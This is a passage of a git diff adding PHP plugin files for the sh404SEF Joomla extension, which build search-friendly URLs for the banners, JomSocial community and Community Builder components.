($nonSefUrlType == sh404SEF_URLTYPE_404 && !empty( $dbUrlId)) { // we already have seen that it is a 404 + $id = $dbUrlId; + } elseif ($nonSefUrlType == sh404SEF_URLTYPE_404) { + $id = ShlDbHelper::selectResult( '#__sh404sef_urls', 'id', array( 'oldurl' => $finalSefUrl, 'newurl' => '')); + } else { + $id = null; + } + } else { + $id = null; // if we are not logging 404 errors, then no need to check for + } // previous hit of this page. + + if (!empty($id)) { + // we found a 404 record matching the SEF url just created. We'll update that record + // instead of creating a new one + // need to update dateadd to 0, as otherwise this sef/non-sef pair will be seen as custom + // this makes all such 404 errors 'disappear' from the 404 log, but no other solution + ShlDbHelper::updateIn( '#__sh404sef_urls', array( 'newurl' => $nonSefUrl, 'dateadd' => '0000-00-00') + , 'id', array( $id)); + Sh404sefHelperCache::addSefUrlToCache( $nonSefUrl, $finalSefUrl, sh404SEF_URLTYPE_AUTO); + } else { + + // standard case: creation of a totally new sef/non-sef pair + ShlDbHelper::insert( '#__sh404sef_urls', array( 'oldurl' => $finalSefUrl, 'newurl' => $nonSefUrl, 'rank' => 0, 'dateadd' => '0000-00-00')); + + // store new sef/non-sef pair in memory cache + Sh404sefHelperCache::addSefUrlToCache( $nonSefUrl, $finalSefUrl, sh404SEF_URLTYPE_AUTO); + + // create shURL : get a shURL model, and ask url creation + $model = ShlMvcModel_Base::getInstance( 'pageids', 'Sh404sefModel'); + $model->createPageId( $finalSefUrl, $nonSefUrl); + } + } + } + } + + } catch( Exception $e) { + $finalSefUrl = ''; + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + return $finalSefUrl; + + } + + public static function getcategories($catid, $shLang = null, $section = '') { + + ShlSystem_Log::debug( 'sh404sef', 'Calling deprecated sef_404::getCategories() method. Use Sh404sefModelSlugs model instead.'); + return ''; + + } +} diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_banners.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_banners.php new file mode 100644 index 00000000..d05195ba --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_banners.php @@ -0,0 +1,26 @@ + 0) $string = sef_404::sefGetLocation($string, $title,null); + diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_community.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_community.php new file mode 100644 index 00000000..34087751 --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_community.php @@ -0,0 +1,963 @@ +version; + } + return $version; + } +} + +// get JomSocial installed version +$jsVersion = shGetJSVersion(); +// if null, JS is not installed, this is probably +// a Mighty Touch url +if(is_null( $jsVersion)) { + // return; +} + +// ------------------ standard plugin initialize function - don't change --------------------------- +global $sh_LANG; +$sefConfig = & Sh404sefFactory::getConfig(); +$shLangName = ''; +$shLangIso = ''; +$title = array(); +$shItemidString = ''; +$dosef = shInitializePlugin($lang, $shLangName, $shLangIso, $option); +if ($dosef == false) return; +// ------------------ standard plugin initialize function - don't change --------------------------- + +// do something about that Itemid thing +if (!preg_match( '/Itemid=[0-9]+/iu', $string)) { // if no Itemid in non-sef URL + if ($sefConfig->shInsertGlobalItemidIfNone && !empty($shCurrentItemid)) { + $string .= '&Itemid='.$shCurrentItemid; // append current Itemid + $Itemid = $shCurrentItemid; + shAddToGETVarsList('Itemid', $Itemid); + } + if ($sefConfig->shInsertTitleIfNoItemid) { + $title[] = $sefConfig->shDefaultMenuItemName ? + $sefConfig->shDefaultMenuItemName : getMenuTitle($option, null, $shCurrentItemid ); + } + $shItemidString = $sefConfig->shAlwaysInsertItemid ? + JText::_('COM_SH404SEF_ALWAYS_INSERT_ITEMID_PREFIX').$sefConfig->replacement.$shCurrentItemid + : ''; +} else { // if Itemid in non-sef URL + $shItemidString = $sefConfig->shAlwaysInsertItemid ? + JText::_('COM_SH404SEF_ALWAYS_INSERT_ITEMID_PREFIX').$sefConfig->replacement.$Itemid + : ''; +} + +// load JS language strings. If we are creating urls on the +// fly, after an automatic redirection, they may not be loaded yet +$lang =JFactory::getLanguage(); +$lang->load('com_community'); + +// real start +$Itemid = isset($Itemid) ? $Itemid : null; +$limit = isset($limit) ? $limit : null; +$limitstart = isset($limitstart) ? $limitstart : null; + +if(!function_exists('shGetJSText')) { + function shGetJSText($id) { + + static $prefix = null; + if(is_null($prefix)) { + $version = shGetJSVersion(); + $prefix = version_compare( shGetJSVersion(), '2.2.0') == -1 ? 'CC ' : 'COM_COMMUNITY_'; + } + + // id translation pre-2.2 to 2.2 + if($prefix !== 'CC ') { + switch ($id) { + case 'GROUP': + $id = 'SINGULAR_GROUP'; + break; + case 'SEARCH': + $id = 'GROUPS_SEARCH'; + break; + case 'MY GROUPS TITLE': + $id = 'GROUPS_MY_GROUPS'; + break; + case 'CREATE NEW GROUP TITLE': + $id = 'GROUPS_CREATE_NEW_GROUP'; + break; + case 'CREATE NEW EVENT': + $id = 'EVENTS_CREATE_TITLE'; + break; + case 'JOIN GROUP TITLE': + $id = 'GROUPS_JOIN'; + break; + case 'LEAVE GROUP TITLE': + $id = 'GROUPS_LEAVE'; + break; + case 'SHOW ALL BULLETINS': + $id = 'GROUPS_BULLETIN_VIEW_ALL'; + break; + case 'ADD BULLETIN': + $id = 'GROUPS_BULLETIN_CREATE'; + break; + case 'SHOW ALL DISCUSSIONS': + $id = 'GROUPS_VIEW_ALL_DISCUSSIONS'; + break; + case 'ADD DISCUSSION': + $id = 'GROUPS_DISCUSSION_CREATE'; + break; + case 'EDIT AVATAR': + $id = 'PROFILE_AVATAR_EDIT'; + break; + case 'EDIT GROUP AVATAR': + $id = 'GROUPS_AVATAR_EDIT'; + break; + case 'EDIT EVENT AVATAR': + $id = 'EVENTS_EDIT_AVATAR'; + break; + case 'EDIT': + $id = 'GROUPS_EDIT'; + break; + case 'EDIT PROFILE': + $id = 'PROFILE_EDIT'; + break; + case 'EDIT EVENT DETAILS': + $id = 'EVENTS_EDIT'; + break; + case 'MY PHOTOS TITLE': + $id = 'PHOTOS_MY_PHOTOS_TITLE'; + break; + case 'ADD ALBUM': + $id = 'PHOTOS_CREATE_PHOTO_ALBUM'; + break; + case 'UPLOAD PHOTOS': + $id = 'PHOTOS_UPLOAD_PHOTOS'; + break; + case 'MY VIDEOS': + $id = 'VIDEOS_MY'; + break; + case 'REMOVE': + return 'remove'; + break; + case 'SENT': + $id = 'INBOX_SENT'; + break; + case 'WRITE': + $id = 'INBOX_WRITE'; + break; + case 'REQUEST SENT': + $id = 'FRIENDS_REQUEST_SENT'; + break; + case 'PENDING APPROVAL': + $id = 'FRIENDS_PENDING_APPROVAL'; + break; + case 'MY EVENTS': + $id = 'EVENTS_MINE'; + break; + case 'INVITE': + $id = 'INVITE_INVITED'; + break; + case 'BROWSE APPS': + $id = 'APPS_BROWSE'; + break; + case 'LINK VIDEO': + $id = 'VIDEOS_LINK'; + break; + case 'GET AVATAR': + return'GET AVATAR'; + break; + case 'REGISTERED SUCCESSFULLY': + $id = 'USER_REGISTERED'; + break; + case 'EDIT PRIVACY': + $id = 'PROFILE_PRIVACY_EDIT'; + break; + case 'GROUP MEMBERS': + case 'MEMBERS': + $id = 'GROUPS_MEMBERS'; + break; + case 'APPLICATIONS': + return 'app'; + break; + case 'PROFILE': + $id = 'GO_TO_PROFILE'; + break; + } + } + + // finally get text + $text = JText::_( $prefix . str_replace( ' ', '_', $id)); + + return $text; + } +} + +if (!function_exists( 'shGetJSUsernameSlug')) { + function shGetJSUsernameSlug( $id, $option, $shLangName) { + $sefConfig = & Sh404sefFactory::getConfig(); + + $slug = ''; + + if (empty($id)) { + return $slug; + } + + try { + $result = ShlDbHelper::selectObject( '#__users', array( 'id', 'username', 'name'), array( 'id' => $id)); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + // just in case + if (empty($result)) { + return 'user' . $sefConfig->replacement . $id; + } + + // what prefix ? + $prefix = $sefConfig->shJSInsertUserId ? $id : ''; + + // what should be use as name ? + $name = $sefConfig->shJSInsertUserFullName ? $result->name : ''; + if (empty( $name)) { + $name = $sefConfig->shJSInsertUsername ? $result->username : ''; + } + if (!empty($name)) { + $slug = (empty($prefix) ? '' : $prefix . $sefConfig->replacement) . $name; + } + + // if we added the user name or full name to sef url + // remove it from query string + if (!empty($name) && ($sefConfig->shJSInsertUsername || $sefConfig->shJSInsertUserFullName)) { + shRemoveFromGETVarsList('userid'); + } + + return $slug; + } +} + +if(!function_exists( 'shGetJSGroupCategoryTitle')) { + function shGetJSGroupCategoryTitle( $id, $option, $shLangName) { + + static $cats = null; + + $sefConfig = & Sh404sefFactory::getConfig(); + if (is_null( $cats)) { + try { + $cats = ShlDbHelper::selectObjectList( '#__community_groups_category', array('id', 'name') + , $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, $lines = 0, $key = 'id'); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $cats = array(); + } + } + $slug = empty( $cats[$id]) ? '' : $cats[$id]->name; + $prefix = empty( $slug) || $sefConfig->shJSInsertGroupCategoryId ? $id : ''; + $slug = $prefix . (empty($slug) ? '' : $sefConfig->replacement) . $slug; + + return $slug; + } +} + +if(!function_exists( 'shGetJSEventsCategoryTitle')) { + function shGetJSEventsCategoryTitle( $id, $option, $shLangName) { + + static $cats = null; + + $sefConfig = & Sh404sefFactory::getConfig(); + if (is_null( $cats)) { + try { + $cats = ShlDbHelper::selectObjectList( '#__community_events_category', array('id', 'name') + , $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, $lines = 0, $key = 'id'); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $cats = array(); + } + + } + $slug = empty( $cats[$id]) ? '' : $cats[$id]->name; + $prefix = empty( $slug) || $sefConfig->shJSInsertGroupCategoryId ? $id : ''; + $slug = $prefix . (empty($slug) ? '' : $sefConfig->replacement) . $slug; + + return $slug; + } +} + +if (!function_exists( 'shGetJSGroupTitleArray')) { + function shGetJSGroupTitleArray( $id, $option, $shLangName) { + $sefConfig = & Sh404sefFactory::getConfig(); + + try { + $result = ShlDbHelper::selectObject( '#__community_groups', array('id', 'name', 'categoryid'), array( 'id' => $id)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + $prefix = !is_object( $result) || empty( $result->name) || $sefConfig->shJSInsertGroupId ? $id : ''; + $groupName = !is_object( $result) || empty( $result->name) ? '' : $result->name; + $groupName = $prefix . (empty( $groupName) ? '' : $sefConfig->replacement) . $groupName; + + // optionnally insert group category + if($sefConfig->shJSInsertGroupCategory) { + $title = array( shGetJSGroupCategoryTitle( $result->categoryid, $option, $shLangName), $groupName); + } else { + $title = array( $groupName); + } + + return $title; + } +} + +if (!function_exists( 'shGetJSGroupBulletinTitle')) { + function shGetJSGroupBulletinTitle( $id, $option, $shLangName) { + $sefConfig = & Sh404sefFactory::getConfig(); + + try { + $result = ShlDbHelper::selectObject( '#__community_groups_bulletins', array( 'id', 'title'), array( 'id' => $id)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + $prefix = !is_object( $result) || empty( $result->title) || $sefConfig->shJSInsertGroupBulletinId ? $id : ''; + $slug = !is_object( $result) || empty( $result->title) ? '' : $result->title; + $slug = $prefix . (empty( $slug) ? '' : $sefConfig->replacement) . $slug; + + return $slug; + } +} + +if (!function_exists( 'shGetJSGroupDiscussionTitle')) { + function shGetJSGroupDiscussionTitle( $id, $option, $shLangName) { + $sefConfig = & Sh404sefFactory::getConfig(); + + try { + $result = ShlDbHelper::selectObject( '#__community_groups_discuss', array( 'id', 'title'), array( 'id' => $id)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + $prefix = !is_object( $result) || empty( $result->title) || $sefConfig->shJSInsertDiscussionId ? $id : ''; + $slug = !is_object( $result) || empty( $result->title) ? '' : $result->title; + $slug = $prefix . (empty( $slug) ? '' : $sefConfig->replacement) . $slug; + + return $slug; + } +} + +if(!function_exists( 'shGetJSMessageTitle')) { + function shGetJSMessageTitle( $id, $option, $shLangName) { + $sefConfig = & Sh404sefFactory::getConfig(); + + try { + $result = ShlDbHelper::selectObject( '#__community_msg', array( 'id', 'subject'), array( 'id' => $id)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + $prefix = !is_object( $result) || empty( $result->subject) || $sefConfig->shJSInsertMessageId ? $id : ''; + $slug = !is_object( $result) || empty( $result->subject) ? '' : $result->subject; + $slug = $prefix . (empty( $slug) ? '' : $sefConfig->replacement) . $slug; + + return $slug; + } +} + +if(!function_exists( 'shGetJSPhotoAlbumDetails')) { + function shGetJSPhotoAlbumDetails( $id, $option, $shLangName) { + $sefConfig = & Sh404sefFactory::getConfig(); + + try { + $result = ShlDbHelper::selectObject( '#__community_photos_albums', array( 'id', 'name'), array( 'id' => $id)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + $prefix = !is_object( $result) || empty( $result->name) || $sefConfig->shJSInsertPhotoAlbumId ? $id : ''; + $slug = !is_object( $result) || empty( $result->name) ? '' : $result->name; + $slug = $prefix . (empty( $slug) ? '' : $sefConfig->replacement) . $slug; + + return $slug; + } +} + +if (!function_exists( 'shGetJSPhotoTitle')) { + function shGetJSPhotoTitle( $id, $option, $shLangName) { + $sefConfig = & Sh404sefFactory::getConfig(); + + try { + $result = ShlDbHelper::selectObject( '#__community_photos', array( 'id', 'caption'), array( 'id' => $id)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + // this photo name + $prefix = !is_object( $result) || empty( $result->caption) || $sefConfig->shJSInsertPhotoId ? $id : ''; + $slug = !is_object( $result) || empty( $result->caption) ? '' : $result->caption; + $slug = $prefix . (empty( $slug) ? '' : $sefConfig->replacement) . $slug; + + return $slug; + } +} + +if(!function_exists( 'shGetJSVideoCategoryTitle')) { + function shGetJSVideoCategoryTitle( $id, $option, $shLangName) { + + static $cats = null; + $sefConfig = & Sh404sefFactory::getConfig(); + + if (is_null($cats)) { + try { + $cats = ShlDbHelper::selectObjectList( '#__community_videos_category', array('id', 'name') + , $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, $lines = 0, $key = 'id'); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $cats = array(); + } + } + + $prefix = empty( $cats[$id]) || $sefConfig->shJSInsertVideoCatId ? $id : ''; + $slug = empty( $cats[$id]) ? '' : $cats[$id]->name; + $slug = $prefix . (empty( $slug) ? '' : $sefConfig->replacement) . $slug; + + return $slug; + } +} + +if (!function_exists( 'shGetJSVideoTitle')) { + function shGetJSVideoTitle( $id, $option, $shLangName) { + $sefConfig = & Sh404sefFactory::getConfig(); + + try { + $result = ShlDbHelper::selectObject( '#__community_videos', array( 'id', 'title', 'category_id'), array( 'id' => $id)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + $videoName = ($sefConfig->shJSInsertVideoId ? $id . $sefConfig->replacement : '') . $result->title; + + // optionnally insert video category + if($sefConfig->shJSInsertVideoCat) { + $title = array( shGetJSVideoCategoryTitle( $result->category_id, $option, $shLangName), $videoName); + } else { + $title = array( $videoName); + } + + return $title; + + } +} + +if (!function_exists( 'shMustInsertJSName')) { + function shMustInsertJSName($shJSName, $userid,$view) { + $sefConfig = & Sh404sefFactory::getConfig(); + + // nothing to insert + if (empty( $shJSName)) { + return false; + } + + if(!$sefConfig->shJSInsertJSName) { + // if set to not insert, return false + // except if we are on user profile, and short urls to profile is on + $insert = $sefConfig->shJSShortURLToUserProfile && $view == 'profile' && !empty($userid) + // and poor configuration made that we don't insert username or user full name + // in such case, we should still insert the name + && !$sefConfig->shJSInsertUsername && !$sefConfig->shJSInsertUserFullName; + + // or we are on user profile, and short url is off but user has set + // to not insert user name or user full name + if (!$insert && !$sefConfig->shJSShortURLToUserProfile && !$sefConfig->shJSInsertUsername && !$sefConfig->shJSInsertUserFullName) { + $insert = true; + } + return $insert; + } + + // params say to insert name. we should do it, unless on + // user profile page, and we are set to have short urls to profile + $insert = !($sefConfig->shJSShortURLToUserProfile && $view == 'profile' && !empty($userid)); + + // however if set to not insert either username or fullname, there will be a problem as + // user id is passed a query string. In such case, revert the decision and still insert + if (!$sefConfig->shJSInsertUsername && !$sefConfig->shJSInsertUserFullName) { + $insert = true; + } + + return $insert; + } +} + +// main vars +$view = isset($view) ? $view : null; +$task = isset($task) ? $task : null; +$userid = isset($userid) ? $userid : null; + +// insert component name from menu +$shJSName = shGetComponentPrefix($option); +$shJSName = empty($shJSName) ? getMenuTitle($option, null, $Itemid, null, $shLangName ) : $shJSName; +$shJSName = (empty($shJSName) || $shJSName == '/') ? 'JS':$shJSName; + +// do this only if not set to create direct links to user profile like mysite.com/john +if (shMustInsertJSName($shJSName, $userid,$view)) { + $title[] = $shJSName; + // if direct url to user profile, prevent adding suffix ('.html') + if (($sefConfig->shJSShortURLToUserProfile || + (!$sefConfig->shJSShortURLToUserProfile && !$sefConfig->shJSInsertUsername && !$sefConfig->shJSInsertUserFullName)) + && $view == 'profile' && !empty($userid)) { + $title[] = '/'; + } +} + +// build url first based on view, but make use of other vars ($task,..) as needed +switch($view){ + case 'frontpage': + if (empty( $task) && empty( $userid) && empty( $title)) { + $title[] = $shJSName; + } + break; + case 'profile': + if(!empty( $userid)) { + $slug = shGetJSUsernameSlug($userid, $option, $shLangName); + if(!empty($slug)) { + $title[] = $slug; + $title[] = '/'; + } + } else if (empty($task)) { + $title[] = shGetJSText('PROFILE'); + $title[] = '/'; + } + break; + case 'groups': + if (empty($task) || $task == 'display') { + $title[] = shGetJSText('GROUP'); + } + if(!empty($groupid)) { + $title = array_merge($title, shGetJSGroupTitleArray( $groupid, $option, $shLangName)); + if (!empty($topicid)) { + $title[] = shGetJSGroupDiscussionTitle( $topicid, $option, $shLangName); + } + } else if (!empty($categoryid)) { + $title[] = shGetJSGroupCategoryTitle( $categoryid, $option, $shLangName); + } else if (!empty($topicid)) { + $title[] = shGetJSGroupDiscussionTitle( $topicid, $option, $shLangName); + }else if(empty($task)) { + $title[] = '/'; + } + break; + case 'photos': + $slug = shGetJSUsernameSlug($userid, $option, $shLangName); + if(!empty($slug)) { + $title[] = $slug; + } + if(!empty($groupid)) { + $title = array_merge($title, shGetJSGroupTitleArray( $groupid, $option, $shLangName)); + } + if (empty($task) || $task=='search' || $task == 'display' || $task == 'app' || $task == 'album') { + $title[] = shGetJSText('PHOTOS'); + } + if(!empty( $albumid) && $sefConfig->shJSInsertPhotoAlbum) { + $title[] = shGetJSPhotoAlbumDetails( $albumid, $option, $shLangName); + } + if(!empty($photoid)) { + $title[] = shGetJSPhotoTitle( $photoid, $option, $shLangName); + } + if(empty($task) && empty( $albumid) && empty($photoid)) { + $title[] = '/'; + } + break; + case 'videos': + $slug = shGetJSUsernameSlug($userid, $option, $shLangName); + if(!empty($slug)) { + $title[] = $slug; + } + if(!empty($groupid)) { + $title = array_merge($title, shGetJSGroupTitleArray( $groupid, $option, $shLangName)); + } + if (empty( $task) || $task=='search' || $task == 'display' || $task == 'app') { + $title[] = shGetJSText('VIDEOS'); + } + if(!empty($catid)) { + $title[] = shGetJSVideoCategoryTitle( $catid, $option, $shLangName); + } else if(empty($task)) { + $title[] = '/'; + } + break; + case 'search': + if ($task != 'browse' && $task != 'advancesearch') { + $title[] = shGetJSText('SEARCH'); + } + if(empty($task)) { + $title[] = '/'; + } + break; + case 'inbox': + $slug = shGetJSUsernameSlug($userid, $option, $shLangName); + if(!empty($slug)) { + $title[] = $slug; + } + $title[] = shGetJSText('INBOX'); + break; + case 'register': + $title[] = shGetJSText('REGISTER'); + break; + case 'friends': + $slug = shGetJSUsernameSlug($userid, $option, $shLangName); + if(!empty($slug)) { + $title[] = $slug; + } + $title[] = shGetJSText('FRIENDS'); + if(empty($task)) { + $title[] = '/'; + } + break; + case 'apps': + $slug = shGetJSUsernameSlug($userid, $option, $shLangName); + if(!empty($slug)) { + $title[] = $slug; + } + $title[] = shGetJSText('APPLICATIONS'); + if(empty($task)) { + $title[] = '/'; + } + break; + case 'events': + $slug = shGetJSUsernameSlug($userid, $option, $shLangName); + if(!empty($slug)) { + $title[] = $slug; + } + if (empty($task) || $task=='uploadavatar' || $task=='myinvites' || $task == 'expiredevents' || $task== 'search' || $task == 'display') { + $title[] = shGetJSText('EVENTS'); + } + + if(!empty($groupid)) { + $title = array_merge($title, shGetJSGroupTitleArray( $groupid, $option, $shLangName)); + } + + if (!empty( $categoryid)) { + $slug = shGetJSEventsCategoryTitle($categoryid, $option, $shLangName); + if(!empty($slug)) { + $title[] = $slug; + } + } + if(empty($task)) { + $title[] = '/'; + } + break; + default: + $slug = shGetJSUsernameSlug($userid, $option, $shLangName); + if(!empty($slug)) { + $title[] = $slug; + } + if(!empty($groupid)) { + $title = array_merge($title, shGetJSGroupTitleArray( $groupid, $option, $shLangName)); + } + $title[] = $view; +} + +// add more details based on $task +switch($task){ + + // groups + case 'mygroups': + $slug = shGetJSUsernameSlug($userid, $option, $shLangName); + if(!empty($slug)) { + $title[] = $slug; + } + $title[] = shGetJSText('MY GROUPS TITLE'); + $title[] = '/'; + break; + case 'create': + switch ($view) { + case 'groups': + $title[] = shGetJSText('CREATE NEW GROUP TITLE'); + break; + case 'events': + $title[] = shGetJSText('CREATE NEW EVENT'); + break; + default: + $title[] = $task; + break; + } + break; + case 'joingroup': + $title[] = shGetJSText('JOIN GROUP TITLE'); + break; + case 'leavegroup': + $title[] = shGetJSText('LEAVE GROUP TITLE'); + break; + case 'viewgroup': + break; + case 'created': + $title[] = $task; + break; + case 'invitefriends': + $title[] = shGetJSText('INVITE FRIENDS'); + break; + case 'viewmembers': + $title[] = shGetJSText('GROUP MEMBERS'); + $title[] = '/'; + break; + case 'viewbulletin': + if(!empty($bulletinid)) { + $title[] = shGetJSGroupBulletinTitle( $bulletinid, $option, $shLangName); + } + break; + case 'viewbulletins': + $title[] = shGetJSText('SHOW ALL BULLETINS'); + break; + case 'addnews': + $title[] = shGetJSText('ADD BULLETIN'); + break; + case 'viewdiscussion': + if(!empty($topicid) && empty($task)) { + $title[] = shGetJSGroupDiscussionTitle( $topicid, $option, $shLangName); + } + break; + case 'viewdiscussions': + $title[] = shGetJSText('SHOW ALL DISCUSSIONS'); + $title[] = '/'; + break; + case 'adddiscussion': + $title[] = shGetJSText('ADD DISCUSSION'); + break; + case 'uploadAvatar': + switch ($view) { + case 'profile': + $title[] = shGetJSText('EDIT AVATAR'); + break; + default: + $title[] = $task; + break; + } + break; + case 'uploadavatar': + switch ($view) { + case 'groups': + $title[] = shGetJSText('EDIT GROUP AVATAR'); + break; + case 'profile': + $title[] = shGetJSText('EDIT AVATAR'); + break; + case 'events': + $title[] = shGetJSText('EDIT EVENT AVATAR'); + break; + default: + $title[] = $task; + break; + } + break; + case 'avatar': + $title[] = shGetJSText('AVATAR'); + break; + case 'edit': + switch ($view) { + case 'groups': + $title[] = shGetJSText('EDIT'); + break; + case 'profile': + $title[] = shGetJSText('EDIT PROFILE'); + break; + case 'events': + $title[] = shGetJSText('EDIT EVENT DETAILS'); + break; + default: + $title[] = $task; + break; + + } + break; + case 'editDetails': + $title[] = shGetJSText('EDIT DETAILS'); + break; + case 'privacy': + $title[] = shGetJSText('EDIT PRIVACY'); + break; + + // photos + case 'myphotos': + $title[] = shGetJSText('MY PHOTOS TITLE'); + $title[] = '/'; + break; + case 'newalbum': + $title[] = shGetJSText('ADD ALBUM'); + break; + case 'uploader': + $title[] = shGetJSText('UPLOAD PHOTOS'); + break; + case 'album': + break; + case 'editAlbum': + $title[] = shGetJSText('EDIT'); + break; + case 'photo': + $title[] = shGetJSText('PHOTOS'); + break; + case 'jsonupload': + $dosef = false; + break; + + // videos + case 'myvideos': + $title[] = shGetJSText('MY VIDEOS'); + $title[] = '/'; + break; + case 'removevideo': + $title[] = shGetJSText('REMOVE'); + break; + case 'video': + if(!empty($videoid)) { + $title = array_merge( $title, shGetJSVideoTitle( $videoid, $option, $shLangName)); + } + break; + + // messages + case 'read': + if(!empty($msgid)) { + $title[] = shGetJSMessageTitle( $msgid, $option, $shLangName); + } + break; + case 'sent': + $title[] = shGetJSText('SENT'); + break; + case 'write': + $title[] = shGetJSText('WRITE'); + break; + + // applications + case 'app': + $title[] = shGetJSText('APPLICATIONS'); + break; + case 'invite': + $title[] = shGetJSText('INVITE FRIENDS'); + break; + case 'sent': + $title[] = shGetJSText('REQUEST SENT'); + break; + case 'pending': + $title[] = shGetJSText('PENDING APPROVAL'); + break; + case 'remove': + $slug = shGetJSUsernameSlug($userid, $option, $shLangName); + if(!empty($slug)) { + $title[] = $slug; + } + $title[] = shGetJSText('REMOVE'); + break; + case 'field': + $title[] = shGetJSText('FIELD'); + break; + + // events + case 'myevents': + $title[] = shGetJSText('MY EVENTS'); + $title[] = '/'; + break; + case 'myinvites': + $title[] = shGetJSText('INVITE'); + break; + case 'expiredevents': + $title[] = $task; + break; + case 'viewevent': + $title[] = $task; + break; + + // searching + case 'advancesearch': + $title[] = shGetJSText('CUSTOM SEARCH'); + $title[] = '/'; + break; + case 'browse': + if ($view == 'search') { + $title[] = shGetJSText('MEMBERS'); + $title[] = '/'; + } else { + $title[] = shGetJSText('BROWSE APPS'); + $title[] = '/'; + } + break; + case 'search': + $title[] = shGetJSText('SEARCH'); + break; + + // others + case 'removepicture': + $title[] = shGetJSText('REMOVE PROFILE PICTURE'); + break; + case 'link': + $title[] = shGetJSText('LINK VIDEO'); + break; + case 'registerProfile': + $title[] = shGetJSText('PROFILE'); + break; + case 'registerAvatar': + $title[] = shGetJSText('GET AVATAR'); + break; + case 'registerSucess': + $title[] = shGetJSText('REGISTERED SUCCESSFULLY'); + break; + default: + if( !empty( $task)) { + $title[] = $task; + } +} + +if(!empty($app)) { + $title[] = $app; + shRemoveFromGETVarsList( 'app'); +} + +shRemoveFromGETVarsList('view'); +shRemoveFromGETVarsList('task'); +shRemoveFromGETVarsList('msgid'); +shRemoveFromGETVarsList('categoryid'); +shRemoveFromGETVarsList('bulletinid'); +shRemoveFromGETVarsList('topicid'); +if($task != 'editAlbum') { + shRemoveFromGETVarsList('albumid'); +} +shRemoveFromGETVarsList('photoid'); +shRemoveFromGETVarsList('groupid'); +shRemoveFromGETVarsList('catid'); +shRemoveFromGETVarsList('videoid'); +shRemoveFromGETVarsList('fid'); + +shRemoveFromGETVarsList('option'); +shRemoveFromGETVarsList('lang'); +if(!empty($Itemid)) { + shRemoveFromGETVarsList('Itemid'); +} +if(!empty($limit)) { + shRemoveFromGETVarsList('limit'); +} +if(isset($limitstart)) { + shRemoveFromGETVarsList('limitstart'); +} + +// ------------------ standard plugin finalize function - don't change --------------------------- +if ($dosef){ + $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, + (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), + (isset($shLangName) ? @$shLangName : null)); +} +// ------------------ standard plugin finalize function - don't change --------------------------- + diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_comprofiler.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_comprofiler.php new file mode 100644 index 00000000..6a9b84c3 --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_comprofiler.php @@ -0,0 +1,337 @@ +shInsertGlobalItemidIfNone && !empty($shCurrentItemid)) { + $string .= '&Itemid='.$shCurrentItemid; // append current Itemid + $Itemid = $shCurrentItemid; + shAddToGETVarsList('Itemid', $Itemid); + } + if ($sefConfig->shInsertTitleIfNoItemid) { + $title[] = $shCBName; + // prevent from adding another time + $sefConfig->shInsertCBName = false; + } + $shItemidString = ''; + if ($sefConfig->shAlwaysInsertItemid && (!empty($Itemid) || !empty($shCurrentItemid))) + $shItemidString = JText::_('COM_SH404SEF_ALWAYS_INSERT_ITEMID_PREFIX').$sefConfig->replacement + .(empty($Itemid)? $shCurrentItemid :$Itemid); +} else { // if Itemid in non-sef URL + $shItemidString = $sefConfig->shAlwaysInsertItemid ? + JText::_('COM_SH404SEF_ALWAYS_INSERT_ITEMID_PREFIX').$sefConfig->replacement.$Itemid + : ''; + if ($sefConfig->shAlwaysInsertMenuTitle){ + //global $Itemid; V 1.2.4.g we want the string option, not current page ! + $title[] = $shCBName; + // prevent from adding another time + $sefConfig->shInsertCBName = false; + } +} + +if (!empty($Itemid)) + shRemoveFromGETVarsList('Itemid'); + +$task = isset($task) ? @$task : null; + +switch (strtolower($task)) +{ + case 'userdetails': + if ($sefConfig->shInsertCBName) $title[] = $shCBName; + $title[] = $sh_LANG[$shLangIso]['_SH404SEF_CB_VIEW_USER_DETAILS']; + // add user name to URL if requested to do so. User id is in $user + if (!empty($user) && $sefConfig->shCBInsertUserName) { + + try { + $result = ShlDbHelper::selectResult( '#__users' + , 